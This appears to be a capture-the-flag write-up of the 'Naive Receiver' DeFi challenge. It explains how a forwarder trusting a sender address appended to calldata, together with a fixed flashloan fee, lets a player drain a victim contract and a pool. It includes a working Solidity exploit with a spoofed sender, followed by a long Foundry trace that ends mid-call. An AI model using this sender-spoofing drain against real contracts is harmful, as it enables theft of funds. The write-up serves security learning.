Skip to main content

NaiveReceiver

Naive Receiver Challenge


Challenge Overview

This challenge exploits an access control flaw in a meta-transaction system combined with a flashloan fee mechanism. A vulnerable pool offers flashloans with a fixed 1 WETH fee. The victim (user) has a receiver contract with 10 WETH balance and unknowingly becomes the target of draining attacks via flashloans.

The objective is to drain all WETH from both the pool and the user’s receiver contract, and deposit the funds into a designated recovery address.


Smart Contract Breakdown

Key Contracts

  • NaiveReceiverPool: Offers flashloans of WETH with a fixed fee of 1 WETH per call.
  • FlashLoanReceiver: A sample user-deployed contract able to receive flashloans.
  • BasicForwarder: A meta-transaction forwarder that allows execution of calls on behalf of users via valid signatures.

Important Mechanisms

  • flashLoan(address receiver, address token, uint256 amount, bytes calldata data)
    Executes a flashloan and charges a 1 WETH fee, regardless of loan amount.
  • multicall(bytes[] calldata data)
    Allows batching of multiple calls in a single transaction.
  • forwarder.execute(request, signature)
    Permits off-chain signed execution of calls via the meta-transaction forwarder.

⚠️ Vulnerability Explained

The forwarder blindly trusts the sender field embedded in the calldata of withdraw() when processed via multicall(). This creates a spoofable sender situation. An attacker can:

  1. Encode a series of flashloan calls to drain the victim receiver's balance.
  2. Add a withdraw() call to extract all funds from the pool by spoofing ownership using abi.encodePacked(...).
  3. Sign the entire payload off-chain and have the forwarder execute it.

Exploit Strategy

  1. Encode 10 consecutive flashloans that charge the victim's receiver 1 WETH each (draining 10 WETH total).
  2. Encode a withdraw() call that drains both pool and receiver funds.
  3. Combine calls using multicall().
  4. Forge the sender identity by packing the deployer address at the end of the call data.
  5. Execute the entire call using forwarder.execute() with a valid EIP-712 signature.

Exploit Code (Solidity)

function test_naiveReceiver() public checkSolvedByPlayer {
bytes ;

for (uint i = 0; i < 10; i++) {
callDatas[i] = abi.encodeCall(
NaiveReceiverPool.flashLoan,
(receiver, address(weth), 0, "0x")
);
}

callDatas[10] = abi.encodePacked(
abi.encodeCall(
NaiveReceiverPool.withdraw,
(WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))
),
bytes32(uint256(uint160(deployer)))
);

bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);

BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
gasleft(),
forwarder.nonces(player),
multicallData,
1 days
);

bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);

forwarder.execute(request, signature);
}

Proof of Exploit:

 simple to explain test case :
[PASS] test_naiveReceiver() (gas: 477289)
Balance assertions:
WETH in FlashLoanReceiver: 0
WETH in NaiveReceiverPool: 0
WETH in recovery: 1010 WETH (successfully rescued all funds)

Using Foundry to run testCase(o/p):

Ran 1 test for test/naive-receiver/NaiveReceiver.t.sol:NaiveReceiverChallenge
[PASS] test_naiveReceiver() (gas: 477289)
Traces:
[601877] NaiveReceiverChallenge::test_naiveReceiver()
├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
│ └─ ← [Return]
├─ [2823] BasicForwarder::nonces(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
│ └─ ← [Return] 0
├─ [599] BasicForwarder::domainSeparator() [staticcall]
│ └─ ← [Return] 0x195a83794daaa3fd456b03f6e4648d959ea3719c9fbdd4a111541654d5c613b2
├─ [5020] BasicForwarder::getDataHash(Request({ from: 0x44E97aF4418b7a17AABD8090bEA0A471a366305C, target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, value: 0, gas: 1073681376 [1.073e9], nonce: 0, data: 0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000026000000000000000000000000000000000000000000000000000000000000003600000000000000000000000000000000000000000000000000000000000000460000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000006600000000000000000000000000000000000000000000000000000000000000760000000000000000000000000000000000000000000000000000000000000086000000000000000000000000000000000000000000000000000000000000009600000000000000000000000000000000000000000000000000000000000000a600000000000000000000000000000000000000000000000000000000000000b6000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002307800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006400f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf6194600000000000000000000000000000000000000000000000000000000, deadline: 86400 [8.64e4] })) [staticcall]
│ └─ ← [Return] 0x448a3f9e902fd8dd1a91bcf095dd9647dac6f45566882719efffe49c1dd8fdf7
├─ [0] VM::sign("<pk>", 0x98966e1e9df3f5206507a3621d8d596c3022186641015b3951e1b97144d72aa1) [staticcall]
│ └─ ← [Return] 27, 0x3351cb39b71d8f78dad7c7aab44673cf376a91c50356b7a8ca45d87c14c98ff6, 0x4b10319df483a324ac03a96f87ea38701964f8e26cf6a5a637078389b947fe80
├─ [527949] BasicForwarder::execute(Request({ from: 0x44E97aF4418b7a17AABD8090bEA0A471a366305C, target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, value: 0, gas: 1073681376 [1.073e9], nonce: 0, data: 0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000026000000000000000000000000000000000000000000000000000000000000003600000000000000000000000000000000000000000000000000000000000000460000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000006600000000000000000000000000000000000000000000000000000000000000760000000000000000000000000000000000000000000000000000000000000086000000000000000000000000000000000000000000000000000000000000009600000000000000000000000000000000000000000000000000000000000000a600000000000000000000000000000000000000000000000000000000000000b6000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002307800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006400f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf6194600000000000000000000000000000000000000000000000000000000, deadline: 86400 [8.64e4] }), 0x3351cb39b71d8f78dad7c7aab44673cf376a91c50356b7a8ca45d87c14c98ff64b10319df483a324ac03a96f87ea38701964f8e26cf6a5a637078389b947fe801b)
│ ├─ [373] NaiveReceiverPool::trustedForwarder() [staticcall]
│ │ └─ ← [Return] BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]
│ ├─ [3000] PRECOMPILES::ecrecover(0x98966e1e9df3f5206507a3621d8d596c3022186641015b3951e1b97144d72aa1, 27, 23212472500503303283916190069849825222867664427246845595418244297757926461430, 33952075640814404360023555046328832035072183034039714461156042761591782375040) [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c
│ ├─ [490015] NaiveReceiverPool::multicall([0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x00f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf61946])
│ │ ├─ [69376] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [7607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [30931] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [25102] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [10210] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
